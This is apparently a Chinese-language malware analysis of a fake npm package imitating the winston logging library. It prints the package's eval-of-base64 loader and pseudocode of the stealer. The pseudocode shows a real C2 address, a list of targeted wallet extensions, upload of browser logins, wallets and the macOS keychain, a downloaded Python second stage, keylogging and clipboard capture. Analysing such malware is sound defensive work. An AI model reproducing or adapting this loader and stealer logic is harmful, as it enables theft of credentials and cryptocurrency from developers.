知名NPM日志库 winston 遭仿冒，恶意版本植入窃密后门

const fs = require('fs');const path = require('path');const parseLib = require('../../../../lib/parse')const filePath = path.join(__dirname, '03-file-intermidiate.test.js');fs.readFile(filePath, 'utf8', (_, data) => {  eval(Buffer.from(parseLib(data), 'base64').toString('utf8'));})

// ==========================================================// 恶意软件核心逻辑伪代码// ==========================================================// --- 全局配置 ---CONSTANT C2_SERVER_URL = "http://144.172.105.235:1224";CONSTANT HOSTNAME = os.hostname();CONSTANT TARGET_WALLET_EXTENSIONS = [    "nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask    "fhbohimaelbohpjbbldcngcnapndodjp", // Binance Wallet    "bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom    // ...以及其他20多个钱包扩展ID];// --- 主执行函数 ---async function main() {    // 1. 执行反调试和环境检测    antiDebugAndEvasion();    // 2. 窃取数据并上传    // 遍历所有主流浏览器 (Chrome, Brave, Opera, Edge)    let chromeData = await stealBrowserData(["Local/Google/Chrome", "Google/Chrome", "google-chrome"]);    let braveData = await stealBrowserData(["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"]);    let operaData = await stealBrowserData(["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera"]);    // 窃取火狐浏览器数据    let firefoxData = await stealFirefoxData();    // 窃取桌面钱包    let exodusData = await stealDesktopWallet("Exodus");    let solanaData = await stealDesktopWallet("Solana");    // 如果是macOS，窃取钥匙串    if (platform == 'darwin') {        let keychainData = await stealKeychain();    }    // 3. 下载并执行第二阶段的后门    await deployAndRunBackdoor();    // 4. 定期重复执行窃取任务    setInterval(main, 30000); }// --- 核心功能模块 ---function antiDebugAndEvasion() {    // 使用复杂的正则表达式使调试器崩溃    search("(((.+)+)+)+$");    // 劫持并清空console的输出函数，隐藏活动踪迹    overrideConsoleFunctions(["log", "warn", "info", "error"]);}async function stealBrowserData(browserPaths) {    // 确定浏览器配置文件路径    basePath = findCorrectPathForOS(browserPaths);    // 遍历所有用户Profile    for (profile in getProfiles(basePath)) {        // 窃取所有目标钱包扩展的本地存储        for (walletId in TARGET_WALLET_EXTENSIONS) {            walletPath = basePath + profile + "/Local Extension Settings/" + walletId;            files = findFilesIn(walletPath);            uploadData(files, "wallet_extension");        }        // 窃取登录凭证和本地状态文件        uploadFile(basePath + profile + "/Login Data", "browser_logins");        uploadFile(basePath + profile + "/Local State", "browser_state");    }}async function stealDesktopWallet(walletName) {    walletPath = findWalletPath(walletName);    if (exists(walletPath)) {        files = findFilesIn(walletPath);        uploadData(files, walletName);    }}async function stealKeychain() {    keychainPath = homeDir + "/Library/Keychains/login.keychain-db";    if (exists(keychainPath)) {        uploadFile(keychainPath, "macos_keychain");    }}function uploadData(files, type) {    // 将文件打包成multipart/form-data    formData = createFormData();    addMetadata(formData, { hostname: HOSTNAME, type: type });    for (file in files) {        formData.append("file", createReadStream(file));    }    // 发送到C2服务器    post(C2_SERVER_URL + "/uploads", formData);}async function deployAndRunBackdoor() {    // 下载一个压缩包    download(C2_SERVER_URL + "/pdown", tempDir + "/p.zip");    // 解压该压缩包    exec("tar -xf " + tempDir + "/p.zip");    // 下载第二阶段的Python Payload    pythonPayload = download(C2_SERVER_URL + "/client/5346/630");    // 保存到隐藏文件并执行    save(homeDir + "/.npl", pythonPayload);    exec_detached("python3 " + homeDir + "/.npl");}// --- 第二阶段Payload执行的逻辑 (由.npl脚本实现) ---function startPersistentSurveillance() {    // 启动键盘记录器    keyListener.on('keypress', (key) => {        logKeystroke(key);        // 定时将记录的键盘输入和截图一起上传        scheduleUpload();    });    // 启动剪贴板监控    setInterval(() => {        clipboardContent = getClipboard();        if (clipboardContent has changed) {            takeScreenshot();            uploadData({                clipboard: clipboardContent,                screenshot: screenshot_data            });        }    }, 500);}// 启动主程序main();